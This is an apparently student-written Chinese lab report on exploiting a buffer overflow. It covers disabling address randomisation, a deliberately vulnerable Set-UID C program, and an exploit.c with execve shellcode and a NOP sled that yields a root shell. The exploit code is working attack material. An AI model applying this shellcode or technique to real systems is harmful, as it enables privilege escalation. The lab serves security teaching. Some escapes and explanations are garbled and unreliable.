缓冲区溢出漏洞实验
缓冲区溢出漏洞：缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
输入命令安装一些用于编译32位C程序的东西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用bash
在这里linux32命令出现了问题，去网上查了一下没有解决，但是会显示linux32，也可以继续使用。
/bin 代表的是binary, 二进制文件，主要就是一些系统命令；还有一个常用的目录是/usr/bin，几乎所有的应用程序的可执行文件都装这里的。
/bin/bash说明你的shell类型为bash，bash shell是最常用的一种shell, 是大多数Linux发行版默认的shell。
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
设置 randomize_va_space 为 0 后，再看看 cat 的内存布局，可以看出，栈和 mmap 区域都从固定位置开始了。
此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
然后进入tmp目录，cd /tmp
将漏洞程序stack.c，保存到 /tmp 目录下
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
然后进行gcc编译，如图
设置SET-UID
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。攻击程序代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
//获得一个shell
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，“x??x??x??x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址，输入命令：
gdb stack
disass main
结果如图：
接下来的操作：
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(为十进制，十六进制为64)=0xffffd084(十六进制)
现在修改exploit.c文件，将 x??x??x??x?? 修改如下
然后，编译exploit.c程序：
gcc -m32 -o exploit exploit.c
先运行攻击程序exploit，再运行漏洞程序stack，得出攻击结果
攻击成功获取了root权限，其中whoami处无法删除输入内容。
遇到的问题
1.为什么要设置SET-UID：
答：sudo su的意思是切换到root用户。sudo就是以超级管理员的权限做某件事情，su就是切换用户，后面一半跟着一个用户名，若没有用户名，则默认表示切换到root用户。在root用户的模式下，编译生成了一个stack可执行文件，那么其拥有者的权限就为root(UID是用户标志号，用来表示用户权限的，set-uid的作用是“让执行该命令的用户以该命令拥有者的权限去执行，就是普通用户执行时会拥有root的权限。chmod u+s stack -- 为stack文件加上set-uid标志)。
我们可以看到，在切换到root用户时，生成的stack程序的拥有者和所属用户组是root。正常情况下文件的用着的执行权限为x，当我们为其加上set-uid标志时，x就变成了s，
此时，普通用户在执行stack这个程序的时候就会保持root权限。总之，setuid就是为了让我们在运行程序时保持root权限，来方便之后利用攻击程序调用shell也是root权限。
2.如何得出：
答：程序调用bof子函数的时候先将返回地址压栈，接着会有
pushl %ebp
movl %esp,%ebp
来建立一个子函数的栈结构，于是将ebp压栈，接着esp会继续向栈顶移动，为子函数的局部变量申请空间。因为在64位系统中，一个内存区域占8个字节(64/8，一个字节占8位)。
所以，调用子函数之后栈的示意图如下：
从图中可见，在返回地址前面有24个字节，所以填充24个x90
如果是32位机子的话，这里应当填充16个x90。
3.为什么是加100，其它程序里是其它的数字：
答：在这里我觉得是一个取值范围内的都可以，前面填充了24个字节，所以buffer可以+（24~517-shellcode的机器码字节数）都可以。此处就是为了把shellcode的机器码安置在一片区域里，然后前面利用缓冲区溢出在返回地址处填上这个机器码位置对应的地址，执行返回地址时指向shellcode的地址就好。